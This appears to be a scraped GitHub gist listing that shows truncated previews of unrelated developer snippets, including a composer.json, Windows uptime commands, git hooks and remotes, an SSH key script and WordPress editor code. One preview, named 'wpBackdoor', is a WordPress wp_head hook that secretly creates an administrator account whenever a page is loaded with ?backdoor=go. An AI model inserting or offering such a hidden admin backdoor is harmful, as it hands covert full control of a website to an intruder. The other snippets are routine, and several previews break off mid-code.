This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"name": "my_vendor_name/my_package", | |
"description": "My Package Description", | |
"license": "GPL-3.0", | |
"autoload": { | |
"classmap": [ // search these directories for classes | |
"lib/" | |
] | |
}, | |
"repositories": { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
DE: | |
$ net statistics Arbeitsstationsdienst | |
$ systeminfo | |
$ systeminfo | find "Systemstartzeit:" | |
EN: | |
$ net statistics workstation | |
$ systeminfo | find "System Boot Time:" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
add_action('wp_head', 'wpBackdoor'); | |
function wpBackdoor() { | |
if ($_GET['backdoor'] == 'go') { | |
require('wp-includes/registration.php'); | |
if (!username_exists('USERNAME')) { | |
$userID = wp_create_user('USERNAME', 'PASSWORD'); | |
$user = new WP_User($userID); | |
$user->set_role('administrator'); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace MyProjectNamespace; | |
/** | |
* PSR-4 class autoloader | |
* | |
* @param string $class The fully-qualified class name. | |
* | |
* @return void |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# @link https://gist.github.com/mattscilipoti/8424018 | |
# | |
# Called by "git push" after it has checked the remote status, | |
# but before anything has been pushed. | |
# | |
# If this script exits with a non-zero status nothing will be pushed. | |
# | |
# Steps to install, from the root directory of your repo... |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Creates an SSH key on a client machine, applies the appropriate file permissions, | |
# copies to the local ~/.ssh directory, & copies to specified server | |
# | |
# parameters: | |
# ..1 newKeyFileName | |
# ..2 user@server | |
# | |
# usage : |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Calc current date + 7 days | |
print date('M d, Y', strtotime('+7 days') ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* Second Post Editor TinyMCE Editor */ | |
class SubContentEditor { | |
public $meta_key = 'subcontent'; | |
public $meta_label = 'Right Side'; // Headline above editor | |
public $post_type = array( 'page' ); // The post type in which the editor should display | |
public $wpautop = true; // Automatically create paragraphs? | |
function __construct() { | |
add_action( 'edit_form_after_editor', array( &$this, 'edit_form_after_editor' ) ); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// BING BING BING | |
// GET DAILY BING IMAGE VIA JS/JQUERY USING YAHOO QUERY API | |
// TO BYPASS ACCESS CONTROL ORIGIN POLICY | |
// | |
// KNOWN BING URL PARAMETERS ARE: | |
// format: js | xml | rss | |
// idx: 0 - n ( offset | 0 = current image only | 1 previous image ) | |
// n: 0 - n ( how many images ) | |
// mkt: country code for description ( doesnt mean the image switch for the next day, this is indicated by the tld ) | |
// |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
git config --add remote.all.url ssh://user@server/repos/g0.git | |
git config --add remote.all.url ssh://user@server/repos/g1.git | |
git push all |